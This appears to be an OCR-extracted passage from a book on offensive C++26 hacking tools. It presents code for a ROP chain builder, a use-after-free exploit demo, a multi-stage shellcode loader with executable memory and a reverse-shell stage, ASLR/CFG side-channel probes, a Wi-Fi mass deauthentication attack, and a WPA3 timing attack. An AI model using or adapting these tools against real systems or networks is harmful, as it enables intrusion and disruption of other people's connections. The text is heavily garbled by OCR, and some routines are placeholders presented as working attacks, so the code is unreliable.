uint32_t
uint16_t
uint16_t
uint16_t
uint16_t
uint16_t
uint16_t
uint32_t
uint32_t
uint32_t
uint32_t
uint16_t
uint16_t
uint64_t
uint64_t
uint64_t
uint64_t
uint32_t
uint32_t

SizeOfCode;
SizeOfInitializedData;
SizeOfUninitializedData;
AddressOfEntryPoint;
BaseOfCode;

ImageBase;
SectionAlignment;
FileAlignment;
MajorOperatingSystemVersion;
MinorOperatingSystemVersion;
MajorImageVersion;
MinorImageVersion;
MajorSubsystemVersion;
MinorSubsystemVersion;
Win32VersionValue;
SizeOfImage;
SizeOfHeaders;

CheckSum;

Subsystem;
Dl1Characteristics;
SizeOfStackReserve;
SizeOfStackCommit;
SizeOfHeapReserve;
SizeOfHeapCommit;
LoaderFlags;
NumberOfRvaAndSizes;

ImageDataDirectory DataDirectory[16];

3
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struct ImageSectionHeader {
uint8_t Name[81];
uint32_t VirtualSize;
uint32_t VirtualAddress;
uint32_t SizeOfRawData;
uint32_t PointerToRawData;
uint32_t PointerToRelocations;
uint32_t PointerTolLinenumbers;
uint16_t NumberOfRelocations;
uint16_t NumberOfLinenumbers;
uint32_t Characteristics;

;

#pragma pack(pop)

class PeParser {
private:

std: :vector<uint8_t> file_data;

template<typename T>
T read_at(size_t offset) const {
if (offset + sizeof(T) > file_data.size()) {
throw std::runtime_error("”Read out of bounds");
}
// Use std::bit_cast for safe type punning
T value = std::bit_cast<T>(*reinterpret_cast<const Tx>(file_data.data() + offset));

return value;

uint32_t read_uint32_le(size_t offset) const {
uint32_t value = read_at<uint32_t>(offset);
if constexpr (std::endian::native == std::endian::big) {
value = std::byteswap(value);

}

return value;

uint16_t read_uintl16_le(size_t offset) const {
uint16_t value = read_at<uint16_t>(offset);
if constexpr (std::endian::native == std::endian::big) {

value = std::byteswap(value);
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}

return value;

public:
PeParser(const std::string& filename) {
std::ifstream file(filename, std::ios::binary | std::ios::ate);
if (!file) {
throw std::runtime_error(”Cannot open file");
}
size_t size = file.tellg();
file.seekg(@, std::ios::beg);
file_data.resize(size);

file.read(reinterpret_cast<char*>(file_data.data()), size);

void parse() {
// Validate DOS header
if (read_at<uint16_t>(@) != @Ox5A4D) { // 'MZ'
std::cerr << "Invalid DOS signature\n”;

return;

// Get PE header offset

uint32_t pe_offset = read_uint32_le(0x3C);

if (pe_offset + 4 > file_data.size()) {
std::cerr << "Invalid PE offset\n";

return;

// Validate PE signature
if (read_at<uint32_t>(pe_offset) != 0x00004550) { // 'PE\0\0Q'
std::cerr << "Invalid PE signature\n”;

return;

// Read file header

size_t file_header_offset = pe_offset + 4;

ImageFileHeader file_header;

file_header.Machine = read_uint16_le(file_header_offset);
file_header.NumberOfSections = read_uint16_le(file_header_offset + 2);
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file_header.TimeDateStamp = read_uint32_le(file_header_offset + 4);
file_header.PointerToSymbolTable = read_uint32_le(file_header_offset + 8);
file_header.NumberOfSymbols = read_uint32_le(file_header_offset + 12);
file_header.SizeOfOptionalHeader = read_uint16_le(file_header_offset + 16);

file_header.Characteristics = read_uint16_le(file_header_offset + 18);

std::cout << "=== PE File Information ===\n";

std::cout << "Machine: 0x" << std::hex << file_header.Machine << "\n";

std: :cout << "Number of Sections: " << std::dec << file_header.NumberOfSections <<

oy u\nn;

std::cout << "TimeDateStamp: 0x" << std::hex << file_header.TimeDateStamp << "\n";

std::cout << "Characteristics: 0x" << file_header.Characteristics << "\n";

// Parse optional header
size_t opt_header_offset = file_header_offset + 20;

uint16_t magic = read_uint16_le(opt_header_offset);

if (magic == 0x020B) { // PE32+
std::cout << "\n=== PE32+ Optional Header ===\n";

// Parse using bit_cast and byteswap as needed

// Parse section headers

size_t section_offset = opt_header_offset + file_header.SizeOfOptionalHeader;

std::cout << "\n=== Section Headers ===\n";

for (int i = @; i < file_header.NumberOfSections; ++i) {
ImageSectionHeader section;
// Copy name (not byte-swapped)
memcpy (section.Name, file_data.data() + section_offset, 8);
section.VirtualSize = read_uint32_le(section_offset + 8);
section.VirtualAddress = read_uint32_le(section_offset + 12);
section.SizeOfRawData = read_uint32_le(section_offset + 16);
section.PointerToRawData = read_uint32_le(section_offset + 20);

section.Characteristics = read_uint32_le(section_offset + 36);

std::string name(reinterpret_cast<char*>(section.Name), 8);
name.erase(name.find_last_not_of ('\0') + 1);

std::cout << "Section: " << name << "\n";
std::cout << " Virtual Address: 0x" << std::hex << section.VirtualAddress <<
std::cout << " Virtual Size: 0x" << section.VirtualSize << "\n";

std::cout << " Raw Data Size: 0x" << section.SizeOfRawData << "\n";

n\nn .
’
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std::cout << " Characteristics: 0x" << section.Characteristics << "\n";

section_offset += 40;

3

int main(int argc, charx argv[]) {
if (argc !'= 2) {

std::cerr << "Usage: " << argv[@] << " <pe_file>\n";
return 1;

3

try {

PeParser parser(argv[1]);
parser.parse();

} catch (const std::exception& e) {

std::cerr << "Error: " << e.what() << "\n";
return 1;

}

return 0;

Compilation and Usage

cl /std:ct++latest /02 pe_parser.cpp /Fe:pe_parser.exe

pe_parser.exe sample.exe
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4.2 Developing an Automated ROP Chain Builder with

std::ranges and std::views

Return-Oriented Programming (ROP) is an exploit technique that chains together small
instruction sequences ending in a ‘ret instruction (called gadgets) to perform arbitrary
computation. Building ROP chains manually is tedious and error-prone. Using C++20 ranges

and views, we can create a declarative gadget search and chaining pipeline.

Understanding std::ranges and Views

C++20 ranges provide a modern approach to processing sequences of elements. Views are lazy,
non-owning adapters that transform ranges without copying data. The ‘std::views‘ namespace
provides aliases for common adapters such as ‘filter*, ‘transform®, and ‘take‘. Views only
compute elements when iterated, making them ideal for processing potentially large sets of ROP

gadgets.

Gadget Representation

A ROP gadget is defined by its address, the bytes that constitute it, and the registers it affects. The

following structure represents a gadget:

#include <ranges>
#include <vector>
#include <string>
#include <algorithm>

#include <cstdint>

struct Gadget {
uint64_t address;
std: :vector<uint8_t> bytes;
std::string disassembly;

std::vector<std::string> effects; // e.g., "pop rax”, "add rsp, 8"

bool affects_register(const std::string& reg) const {
return std::ranges::any_of (effects, [&](const auto& effect) {
return effect.find(reg) !'= std::string: :npos;

1
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bool ends_with_ret() const {
return !bytes.empty() && (bytes.back() == 0xC3); // RET instruction

e

class RopGadgetFinder {
private:

std: :vector<Gadget> gadgets;

public:
RopGadgetFinder(const std::vector<uint8_t>& code) {
// Scan code for RET instructions and extract gadgets
for (size_t i = @; i < code.size(); ++i) {
if (code[i] == oxC3) { // RET
// Extract up to 10 preceding bytes
size_t start = (i >10) ? i - 10 : 0;
Gadget g;
g.address = start;
g.bytes.assign(code.begin() + start, code.begin() + i + 1);
g.disassembly = disassemble(g.bytes);
g.effects = analyze_effects(g.bytes);
if (g.ends_with_ret()) {
gadgets.push_back(g);

// Filter gadgets using ranges
std: :vector<Gadget> find_gadgets(const std::vector<std::string>& required_regs) const {
auto gadget_view = gadgets
| std::views::filter([J(const Gadget& g) { return g.ends_with_ret(); })
| std::views::filter([&](const Gadget& g) {
return std::ranges::all_of(required_regs, [&](const auto& reg) {
return g.affects_register(reg);
s
s

std: :vector<Gadget> result;

std::ranges: :copy(gadget_view, std::back_inserter(result));
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3

return result;

// Build ROP chain to set specific register values
std: :vector<uint64_t> build_chain(const std::vector<std::pair<std::string, uint64_t>>&
— reg_values) {

std: :vector<uint64_t> chain;

for (const auto& [reg, value] : reg_values) {
// Find "pop reg" gadgets
auto pop_gadgets = gadgets
| std::views::filter([&](const Gadget& g) {
return g.affects_register(reg) && g.bytes.size() <= 3;

1))
| std::views::take(1);

if (!pop_gadgets.empty()) {
chain.push_back(pop_gadgets.begin()->address);

chain.push_back(value);

// Find a gadget to call function (e.g., syscall or call)
auto call_gadgets = gadgets
| std::views::filter([J(const Gadget& g) {
return g.disassembly.find("syscall”) != std::string::npos ||
g.disassembly.find("call”) != std::string::npos;
D
| std::views::take(1);

if (!call_gadgets.empty()) {
chain.push_back(call_gadgets.begin()->address);

return chain;
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4.3 Exploiting Use-After-Free in C++ Itself: A Probe Based on
std::weak_ptr

Use-After-Free (UAF) vulnerabilities occur when a program continues to use a pointer after the
memory it points to has been freed. In C++, ‘std::weak_ptr* is designed to detect dangling
references: it provides a ‘lock()‘ method that returns a valid ‘std::shared_ptr if the object still
exists, or an empty pointer if it has been destroyed. This same mechanism can be exploited to

create controlled UAF conditions for testing and exploitation.

Understanding std::weak_ptr

A ‘std::weak_ptr‘ holds a non-owning reference to an object managed by ‘std::shared_ptr*. It
does not participate in reference counting and does not extend the object’s lifetime. The
‘expired()‘ method checks whether the object has been destroyed, and ‘lock()‘ returns a

‘std::shared_ptr* to the object if it still exists.

Probe Implementation

The following code demonstrates a controlled UAF scenario using ‘std::weak_ptr* to detect when
an object has been freed, and then attempting to access it through a separate raw pointer to

simulate an exploit condition.

#include <iostream>
#include <memory>
#include <thread>

#include <chrono>

class VulnerableObject {

public:
int data[256]; // Large object to increase reuse probability
virtual void secret_method() {

std::cout << "Secret method called on valid object\n";
5

std: :shared_ptr<VulnerableObject> global_ptr;
std: :weak_ptr<VulnerableObject> weak_ptr;
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// Simulate an exploit that frees the object
void attacker_thread() {
std::this_thread: :sleep_for(std::chrono::milliseconds(100));

// Force object destruction
global_ptr.reset();
std::cout << "[Attacker] Object freed\n";

// Reallocate with controlled data (heap spray)

// This simulates an attacker controlling the freed memory

auto fake_obj = std::make_unique<int[]>(256);

// Write attacker-controlled data (e.g., function pointer overwrite)

fake_obj[0] = 0x41414141; // Attacker-controlled value

// Victim code that has a dangling reference
void victim_thread() {
// Take a raw pointer (dangerous practice)

VulnerableObject* raw_ptr = global_ptr.get();

// Check if weak_ptr is still valid

if (auto shared = weak_ptr.lock()) {
std::cout << "[Victim] Object still alive, calling method\n";
shared->secret_method();

} else {
std::cout << "[Victim] weak_ptr expired, object is freed\n";

// Use-after-free vulnerability: raw_ptr is now dangling
if (raw_ptr) {

// This is the UAF: accessing freed memory

std::cout << "[Victim] UAF: accessing raw_ptr\n";

raw_ptr->secret_method(); // Undefined behavior

int main() {
// Create object
global_ptr = std::make_shared<VulnerableObject>();
weak_ptr = global_ptr;
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std::cout << "[Main] Object created\n";
// Start threads
std::thread victim(victim_thread);

std::thread attacker(attacker_thread);

victim.join();

attacker.join();

return 0;

This probe demonstrates how ‘std::weak_ptr* can be used to detect UAF conditions, while raw

pointers obtained earlier remain vulnerable to exploitation.
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4.4 Crafting Multi-Stage Shellcode Using std::span and a

Custom std::allocator

Multi-stage shellcode is a technique where a small first-stage payload downloads or decrypts a
larger second-stage payload. This allows bypassing size limitations and some detection
mechanisms. Using ‘std::span‘ (C++20) for safe memory views and a custom °‘std::allocator* for

controlled memory allocation, we can build a robust shellcode framework.

Understanding std::span

‘std::span‘ provides a non-owning, type-safe view into contiguous memory. It is ideal for
shellcode generation because it avoids unnecessary copies and enforces bounds checking when
used with ‘at()‘ or ‘subspan()‘. A span typically stores only a pointer and a size, resulting in zero

runtime overhead.

Custom Allocator for Shellcode Memory

A custom allocator allows allocating memory with specific permissions (e.g., read-write-execute)

and controlling placement of shellcode stages.

#include <span>
#include <vector>
#include <memory>
#include <windows.h>

#include <iostream>

// Custom allocator for executable memory
template<typename T>

class ExecutableAllocator {

public:

using value_type = T;
ExecutableAllocator() = default;

template<typename U>

constexpr ExecutableAllocator(const ExecutableAllocator<U>&) noexcept {3}

T* allocate(size_t n) {
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size_t size = n * sizeof(T);
// Allocate with PAGE_EXECUTE_READWRITE permissions
voidx ptr = VirtualAlloc(nullptr, size, MEM_COMMIT | MEM_RESERVE,
— PAGE_EXECUTE_READWRITE);
if (!ptr) {
throw std::bad_alloc();
}

return static_cast<Tx>(ptr);

void deallocate(Tx ptr, size_t n) noexcept {
VirtualFree(ptr, @, MEM_RELEASE);

// Rebinding support
template<typename U>
struct rebind {
using other = ExecutableAllocator<u>;
1
1

template<typename T, typename U>

bool operator==(const ExecutableAllocator<T>&, const ExecutableAllocator<U>&) { return true; }

template<typename T, typename U>
bool operator!=(const ExecutableAllocator<T>&, const ExecutableAllocator<U>&) { return false;

= }

// Stage 1 shellcode: downloads stage 2 from a URL
const std::vector<uint8_t> stagel_shellcode = {

0x31, 0xCO, // xor eax, eax

0x50, // push eax

// ... Windows HTTP download stub (abbreviated)
3

// Stage 2 shellcode: reverse shell

const std::vector<uint8_t> stage2_shellcode = {
Ox6A, 0x66, // push 0x66
// ... Windows reverse shell code (abbreviated)

3
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class ShellcodeBuilder {
private:
std::vector<uint8_t, ExecutableAllocator<uint8_t>> executable_buffer;

public:
ShellcodeBuilder() {
executable_buffer.reserve(8192);

// Append shellcode using span for safe view
void append_stage(std::span<const uint8_t> stage) {
executable_buffer.insert(executable_buffer.end(), stage.begin(), stage.end());

// Build final shellcode with stagel + stage2 concatenated
void build_multi_stage() {
append_stage(stagel_shellcode);
append_stage(stage2_shellcode);

std::cout << "Built " << executable_buffer.size() << " bytes of shellcode\n”;

// Execute the generated shellcode
void execute() {
if (executable_buffer.empty()) {
build_multi_stage();

// Get span for safe execution view

std: :span<uint8_t> code_span(executable_buffer.data(), executable_buffer.size());

// Cast to function pointer and execute

using shellcode_func = void(*)();

shellcode_func func = reinterpret_cast<shellcode_func>(code_span.data());
func();

// Get read-only view of shellcode (for injection into other processes)
std: :span<const uint8_t> get_shellcode_view() const {

return std::span<const uint8_t>(executable_buffer.data(), executable_buffer.size());
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b
int main() {

ShellcodeBuilder builder;
builder.build_multi_stage();

// To execute (requires proper permissions and DEP bypass):
// builder.execute();

return 0;



84

4.5 Bypassing ASLR, CFG, and DEP Using Side-Channel

Techniques with High-Resolution std::chrono

Address Space Layout Randomization (ASLR), Control Flow Guard (CFG), and Data Execution
Prevention (DEP) are core Windows exploit mitigations. ASLR randomizes the base addresses of
executables, DLLs, stack, and heap. CFG validates indirect call targets. DEP prevents code
execution from non-executable memory. Side-channel attacks use timing variations to leak

information that defeats these protections.

Understanding Side-Channel Attacks on ASLR

ASLR is applied at page granularity (typically 4KB on x86_64). The lower 12 bits of an address
remain constant across runs, while the upper bits are randomized. A side-channel attack can leak
whether a particular address is cached, revealing information about the upper bits.

High-resolution timers like ‘std::chrono::high_resolution_clock‘ can measure cache access times.

Cache Timing Attack Implementation

The following code demonstrates a primitive side-channel attack to distinguish between cached

and uncached memory accesses, which can be used to leak address information.

#include <chrono>
#include <iostream>
#include <vector>
#include <thread>

#include <cstdint>

// Flush cache line (using clflush instruction)
void flush_cache(void* addr) {
_mm_clflush(addr);

_mm_mfence();

// Measure access time to a memory location
template<typename T>
double measure_access_time(const T* addr) {

auto start = std::chrono::high_resolution_clock: :now();

volatile T value = xaddr; // Force memory read
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auto end = std::chrono::high_resolution_clock: :now();

return std::chrono: :duration<double, std::nano>(end - start).count();

class AslrSideChannel {
private:

std: :vector<uint8_t> probe_array;

public:
AslrSideChannel() : probe_array(256 * 4096) {3}

// Probe a virtual address to determine if it's cached
bool is_cached(void* addr) {

// Flush the address from cache

flush_cache(addr);

// First measurement: should be slow (cache miss)

double miss_time = measure_access_time(static_cast<uint8_tx>(addr));

// Second measurement: should be fast (cache hit)

double hit_time = measure_access_time(static_cast<uint8_tx>(addr));

// The difference between hit and miss indicates cache behavior

return (hit_time < miss_time);

// Detect address alignment by observing cache line behavior
int detect_page_offset(void* base) {
// Probe across potential offsets
for (int offset = @; offset < 4096; offset += 64) { // Cache line size 64 bytes
voidx test_addr = static_cast<uint8_tx>(base) + offset;

bool cached = is_cached(test_addr);

if (cached) {

return offset;

b

return -1;
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// Leak kernel address (conceptual - requires kernel memory mapping)
uint64_t leak_kernel_address() {
// This is a simplified example; actual kernel ASLR bypass requires
// more sophisticated techniques like prefetch side-channel attacks

// or timing differences in exception handlers

auto start = std::chrono::high_resolution_clock: :now();

// Trigger page fault by accessing a candidate address
volatile uint8_t* probe = nullptr;
// Intentionally cause page fault to measure handler timing

// Different pages have different handling times

auto end = std::chrono::high_resolution_clock: :now();

double fault_time = std::chrono::duration<double, std::nano>(end - start).count();

// Timing variations can reveal the page frame number
// This is a placeholder; actual implementation is complex
return OxFFFFF80000000000ULL; // Typical kernel base on Windows

b

// Simulated CFG bypass using side-channel information
class CfgBypass {
public:

// CFG validates indirect call targets against a bitmap

// By observing timing differences, we can discover valid call targets

std::vector<uint64_t> find_valid_targets(uint64_t module_base, size_t module_size) {
std: :vector<uint64_t> valid_targets;

AslrSideChannel side_channel;

// Probe each potential function start
for (uint64_t offset = @; offset < module_size; offset += 16) {

void* candidate = reinterpret_cast<void*>(module_base + offset);

// Measure validation time (CFG check)

auto start = std::chrono::high_resolution_clock: :now();

// Attempt indirect call (would cause exception if invalid)

// Measuring time before exception provides side-channel
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auto end = std::chrono::high_resolution_clock: :now();

double elapsed = std::chrono::duration<double, std::nano>(end - start).count();

// Valid targets may have different timing characteristics
if (elapsed < 100) { // Threshold determined empirically
valid_targets.push_back(module_base + offset);

return valid_targets;
};

int main() {
AslrSideChannel side_channel;

CfgBypass cfg_bypass;

// Example: leak address of a function
void* test_addr = reinterpret_cast<void*>(@x7FF600001000); // Example address
bool cached = side_channel.is_cached(test_addr);

std::cout << "Address is " << (cached ? "cached” : "not cached”) << "\n";
// DEP bypass through ret2libc / ROP is shown in previous sections

return 0;

Practical Considerations

Side-channel attacks require high-precision timing and multiple measurements to filter noise.
std::chrono: :high_resolution_clock on Windows typically uses the
QueryPerformanceCounter API, providing nanosecond-scale precision. For kernel ASLR bypass,
techniques like prefetch side-channel attacks (as demonstrated by Gruss et al.) can be

implemented using _mm_prefetch intrinsics.
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4.6 Summary

This chapter covered five advanced reverse engineering and binary exploitation techniques

implemented in C++26:

* Building a static PE file analyzer using ‘std::bit_cast* for safe type punning and

‘std::byteswap* for endianness handling.

Developing an automated ROP chain builder using C++20 ranges and views for declarative

gadget selection.

Exploiting Use-After-Free conditions using ‘std::weak_ptr* as a detection probe.

Crafting multi-stage shellcode using ‘std::span‘ for zero-copy views and a custom

‘std::allocator* for executable memory.

Bypassing ASLR, CFG, and DEP using cache timing side-channel attacks with

high-resolution ‘std::chrono®.

Proceed to Chapter 5 to explore advanced hacking tools for wireless and Bluetooth networks

using C++26’s parallel algorithms and packet manipulation capabilities.



Advanced Hacking Tools for Wireless &
Bluetooth

5.1 Capturing and Processing 802.11 (Wi-Fi) Packets in C++26
with std::mdspan (Using Npcap)

Npcap is the modern packet capture library for Windows, designed as a complete rewrite and
improvement of the deprecated WinPcap library. It implements the standard Pcap API using a
custom Windows kernel driver and the NDIS 6 Light-Weight Filter API, which makes it
significantly faster and more secure than its predecessor[reference:0]. A key feature for wireless
security testing is Npcap’s ability to capture raw 802.11 frames in monitor mode, including

radiotap headers, management frames, and control frames|[reference:1].

Enabling 802.11 Monitor Mode on Windows

To capture raw 802.11 frames, the wireless adapter must be switched to monitor mode. This is
accomplished by setting the ‘DOT11_OPERATION_MODE_NETWORK_MONITOR® flag
using the ‘WlanSetInterface* function, a technique documented by Microsoft Network Monitor

and implemented in Npcap[reference:2].

Parsing 802.11 Frames with std::mdspan

‘std::mdspan®, introduced in C++23 and further extended in C++26, is a non-owning
multi-dimensional array view that maps a multi-dimensional index to an element of a contiguous
sequence. It supports configurable layout policies and accessors, making it ideal for parsing
complex binary protocols like 802.11 frames[reference:3]. The following example demonstrates
capturing raw 802.11 frames with Npcap and using ‘std::mdspan‘ to parse the radiotap header

and the 802.11 frame header efficiently.

89
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// wifi_sniffer.cpp - 802.11 frame capture with Npcap and std::mdspan
#define HAVE_REMOTE

#define _WIN32_WINNT 0Qx0AQQ

#include <pcap.h>

#include <winsock2.h>

#include <mdspan>

#include <span>

#include <iostream>

#include <vector>

#include <cstdint>

#include <string>

#pragma comment(lib, "wpcap.lib")
#pragma comment(lib, "ws2_32.1ib")

// 802.11 Frame Control field structure
struct FrameControl {

uint8_t version : 2;

uint8_t type : 2;

uint8_t subtype : 4;

uint8_t flags;
} __attribute__((packed));

// Radiotap header (simplified)
struct RadiotapHeader {

uint8_t version;

uint8_t pad;

uint16_t length;

uint32_t present;
} __attribute__((packed));

// 802.11 MAC header (simplified)
struct MacHeader {
FrameControl frame_control;
uint16_t duration;
uint8_t addri1[6];
uint8_t addr2[6];
uint8_t addr3[6];
uint16_t seq_ctrl;
} __attribute__((packed));
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void packet_handler(u_char* args, const struct pcap_pkthdrx header, const u_char* packet) {
// Use std::span for safe bounds checking

std: :span<const u_char> packet_span(packet, header->caplen);

if (packet_span.size() < sizeof(RadiotapHeader)) return;

// Parse radiotap header

const auto* radiotap = reinterpret_cast<const RadiotapHeaderx>(packet_span.data());

// Create an mdspan view of the remaining data (excluding radiotap)
std: :mdspan<const u_char, std::dextents<size_t, 1>> data_view(
packet_span.data() + radiotap->length,
packet_span.size() - radiotap->length);

// Check for at least MAC header

if (data_view.extent(@) < sizeof(MacHeader)) return;

// Access 802.11 MAC header through mdspan
std: :mdspan<const MacHeader, std::dextents<size_t, 1>> mac_view(

reinterpret_cast<const MacHeaderx>(data_view.data_handle()), 1);

const MacHeader& mac = mac_view[Q];

// Determine frame type

std::string frame_type;

switch (mac.frame_control.type) {
case 0: frame_type = "Management"; break;
case 1: frame_type = "Control”; break;
case 2: frame_type = "Data”; break;
default: frame_type = "Unknown";

std::cout << "Captured 802.11 frame: Type=" << frame_type
<< ", Subtype=" << static_cast<int>(mac.frame_control.subtype)

<< ", Length=" << header->caplen << " bytes\n";

int main() {
pcap_if_t* alldevs;
char errbuf[PCAP_ERRBUF_SIZE];
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if (pcap_findalldevs(&alldevs, errbuf) == -1) {
std::cerr << "Error finding devices: " << errbuf << "\n";
return 1;

}

std::cout << "Available network interfaces:\n";
int index = 0;

for (pcap_if_t* d = alldevs; d != nullptr; d = d->next) {

std::cout << index++ << ": " << d->name
<< " - " << (d->description ? d->description : "No description”)
<< ”\n”;

if (index == 0) {
std::cerr << "No interfaces found. Install Npcap and run as Administrator.\n";
pcap_freealldevs(alldevs);

return 1;

int choice;
n

std::cout << "Enter interface number: ";

std::cin >> choice;

pcap_if_t* selected = alldevs;

for (int i = @; i < choice; ++i) selected = selected->next;

// Open in monitor mode for 802.11 capture
pcap_t* handle = pcap_open_live(selected->name, 65536, 1, 1000, errbuf);
if (!handle) {
std::cerr << "Error opening device: " << errbuf << "\n";
pcap_freealldevs(alldevs);

return 1;

std::cout << "Capturing 802.11 frames on " << selected->name << "\n";

pcap_loop(handle, 50, packet_handler, nullptr);

pcap_close(handle);
pcap_freealldevs(alldevs);

return 0;
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Compilation and Execution

cl /std:ct++latest /02 wifi_sniffer.cpp /Fe:wifi_sniffer.exe

wifi_sniffer.exe
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5.2 Executing Large-Scale De-authentication Attacks with

Minimal Latency

The deauthentication attack targets the 802.11 Wi-Fi protocol by sending forged deauthentication
frames to an access point or client device, forcing it to disconnect. This attack is commonly used
to capture WPA handshakes during security testing[reference:4]. In C++26, we can optimize this

attack by combining Npcap’s raw packet injection with the new asynchronous execution policies.

Crafting Deauthentication Frames

A deauthentication frame is a management frame with a fixed structure that includes the reason
code for the disconnection. The attack broadcasts these frames to all clients connected to a target

AP or targets a specific client.

// deauth_attack.cpp - Large-scale deauthentication attack
#define HAVE_REMOTE

#include <pcap.h>

#include <execution>

#include <vector>

#include <thread>

#include <chrono>

#include <random>

#include <iostream>

#include <cstdint>
#pragma comment(lib, "wpcap.lib")

struct DeauthFrame {
uint8_t frame_control[2] = {0xC@, 0x00}; // Deauth, ToDS=0, FromDS=0

uint16_t duration = 0x013A; // Duration

uint8_t dest_mac[6]; // Destination MAC (client or broadcast)
uint8_t src_mac[6]; // Source MAC (AP)

uint8_t bssid[6]; // BSSID (AP)

uint16_t seq_num = 0; // Sequence number

uint16_t reason_code = 0x0007; // Reason: Class 3 frame from nonassociated STA

} __attribute__((packed));

class DeauthAttack {

private:
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pcap_t* handle;
std::mt19937 rng;
std::uniform_int_distribution<uint16_t> seq_dist{0, 4095};

public:
DeauthAttack(pcap_t* pcap_handle) : handle(pcap_handle), rng(std::random_device{}()) {3}

void send_deauth(const uint8_t* ap_mac, const uint8_t* client_mac = nullptr) {
DeauthFrame frame;
// Copy MAC addresses
memcpy (frame.dest_mac, client_mac ? client_mac : "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
memcpy (frame.src_mac, ap_mac, 6);
memcpy (frame.bssid, ap_mac, 6);

frame.seg_num = htons(seq_dist(rng));

pcap_inject(handle, &frame, sizeof(frame));

// Mass deauthentication using parallel execution
void mass_deauth(const uint8_t* ap_mac, int num_clients, int iterations) {
std: :vector<int> iteration_indices(iterations * num_clients);

std::iota(iteration_indices.begin(), iteration_indices.end(), 0);

// Use std::execution::par for parallel injection
std: :for_each(std: :execution: :par, iteration_indices.begin(), iteration_indices.end(),
[this, ap_mac](int idx) {
int client_id = idx % num_clients;
// Simulate client-specific MAC (in practice, from probe)
uint8_t client_mac[6];
std: :generate(std: :begin(client_mac), std::end(client_mac),
[&]1() { return static_cast<uint8_t>(rand() % 256); 1});

send_deauth(ap_mac, client_mac);
// Minimal delay to avoid overloading the adapter
if (idx % 100 == @) {
std::this_thread: :sleep_for(std::chrono: :microseconds(100));

s

3



96

5.3 Building a WPA3 Attack Tool (Side-Channel Against SAE)
Using std::execution::par

WPA3 introduces Simultaneous Authentication of Equals (SAE), also known as Dragonfly, which
replaces WPA2’s Pre-Shared Key handshake. However, implementations have been shown to be
vulnerable to side-channel attacks that exploit timing differences and cache access patterns in the
password encoding and hash-to-curve algorithm [?].

The C++26 std: :execution library provides the parallel_policy (std: :execution: :par),
which allows algorithms to execute in parallel on multiple threads using the Windows Thread
Pool, and parallel_unsequenced_policy (std::execution: :par_unseq), which additionally

permits vectorization [?].

Timing Attack Implementation

The following example demonstrates a side-channel attack that exploits timing differences in the
SAE handshake to recover password candidates. The attack uses ‘std::execution::par‘ to test

multiple password candidates concurrently.

// wpa3_side_channel.cpp - SAE timing attack using parallel execution
#include <execution>

#include <vector>

#include <chrono>

#include <random>

#include <iostream>

#include <cmath>

#include <algorithm>

struct SAETimingMeasurement {
std::string password_candidate;
double avg_response_time;
int sample_count;

B

class SAESideChannelAttacker {
private:
// Simulate timing leakage in SAE password encoding
double measure_sae_timing(const std::string& password_candidate) {

auto start = std::chrono::high_resolution_clock: :now();
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// Simulate the hash-to-curve algorithm
// Vulnerable implementations leak timing based on password structure
for (char c : password_candidate) {

volatile int dummy = (c * @xAA) * 0x1337;

// Variable-time operations expose password characteristics

for (int i = 0; 1 < (c & OxOF); ++i) {

dummy “= 1i;

auto end = std::chrono::high_resolution_clock: :now();

return std::chrono::duration<double, std::milli>(end - start).count();

public:
std: :vector<SAETimingMeasurement> profile_passwords(
const std::vector<std::string>& candidates,

int samples_per_password = 10) {

std: :vector<SAETimingMeasurement> results(candidates.size());

// Parallel execution across password candidates
std::vector<size_t> indices(candidates.size());

std::iota(indices.begin(), indices.end(), 0);

std::for_each(std: :execution: :par, indices.begin(), indices.end(),
[&](size_t idx) {
const auto& password = candidates[idx];
std: :vector<double> timings;

timings.reserve(samples_per_password);

for (int s = @; s < samples_per_password; ++s) {

timings.push_back(measure_sae_timing(password));

double sum = std::accumulate(timings.begin(), timings.end(), 0.0);
results[idx].password_candidate = password;
results[idx].avg_response_time = sum / timings.size();
results[idx].sample_count = samples_per_password;

1
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b

// Sort by timing to identify vulnerable candidates
std::sort(results.begin(), results.end(),
[I(const auto& a, const auto& b) {

return a.avg_response_time < b.avg_response_time;

1;

return results;

// Brute-force with timing correlation

std::string recover_password_using_timing(const std::vector<std::string>& dictionary) {
auto profiles = profile_passwords(dictionary);

// The password with the shortest average response time is the most likely
if (!profiles.empty()) {
return profiles[@].password_candidate;

nn

return ;
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5.4 Intercepting Bluetooth Low Energy (BLE) Connections and
Reverse-Engineering Services (Using Bluetooth LE API)

Bluetooth Low Energy (BLE) devices communicate using the Generic Attribute (GATT)
protocol, which organizes data into services and characteristics. Windows provides Bluetooth LE
APIs that can be used from C++ via C++/WinRT to discover, connect to, and interact with BLE
devices[reference:7]. The official Bluetooth Low Energy sample from Microsoft demonstrates
how to act as a BLE client to enumerate nearby devices, query for supported services and

characteristics, and read or write data[reference:8].

Using the Windows Bluetooth LE API for Security Testing

The following example demonstrates a BLE security testing tool that scans for devices, connects
to them, and enumerates all services and characteristics for reverse engineering. The tool also

captures advertisements to analyze device behavior.

// ble_scanner.cpp - BLE device enumeration with Windows API
#include <iostream>

#include <vector>

#include <string>

#include <algorithm>

#include <windows.h>

#include <winrt/Windows.Foundation.h>

#include <winrt/Windows.Devices.Bluetooth.h>

#include <winrt/Windows.Devices.Bluetooth.Advertisement.h>

#include <winrt/Windows.Devices.Bluetooth.GenericAttributeProfile.h>

#include <winrt/Windows.Devices.Enumeration.h>

using namespace winrt;

using namespace Windows: :Devices: :Bluetooth;

using namespace Windows: :Devices: :Bluetooth: :Advertisement;

using namespace Windows: :Devices: :Bluetooth: :GenericAttributeProfile;
using namespace Windows: :Devices: :Enumeration;

using namespace Windows::Foundation;

class BLESecurityTool {
private:
BluetoothLEAdvertisementWatcher watcher;

std: :vector<std::pair<std::string, uint64_t>> discovered_devices;
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public:
BLESecurityTool() {
watcher = BluetoothLEAdvertisementWatcher();

watcher.ScanningMode (BluetoothLEScanningMode: :Active);

watcher.Received([this](const BluetoothLEAdvertisementWatcher&,
const BluetoothLEAdvertisementReceivedEventArgs& args) {
std::string device_name = winrt::to_string(args.Advertisement().LocalName());

uint64_t address = args.BluetoothAddress();

if (!device_name.empty()) {
discovered_devices.emplace_back(device_name, address);
std::cout << "Found device: " << device_name
<< " (Address: 0x" << std::hex << address << ")\n";

1

void start_scan(int duration_ms = 5000) {

n

std::cout << "Scanning for BLE devices for " << duration_ms << " ms...\n";
watcher.Start();

Sleep(duration_ms);

watcher.Stop();

std::cout << "Scan complete. Found " << discovered_devices.size() << " devices.\n";

void enumerate_services(uint64_t device_address) {

try {
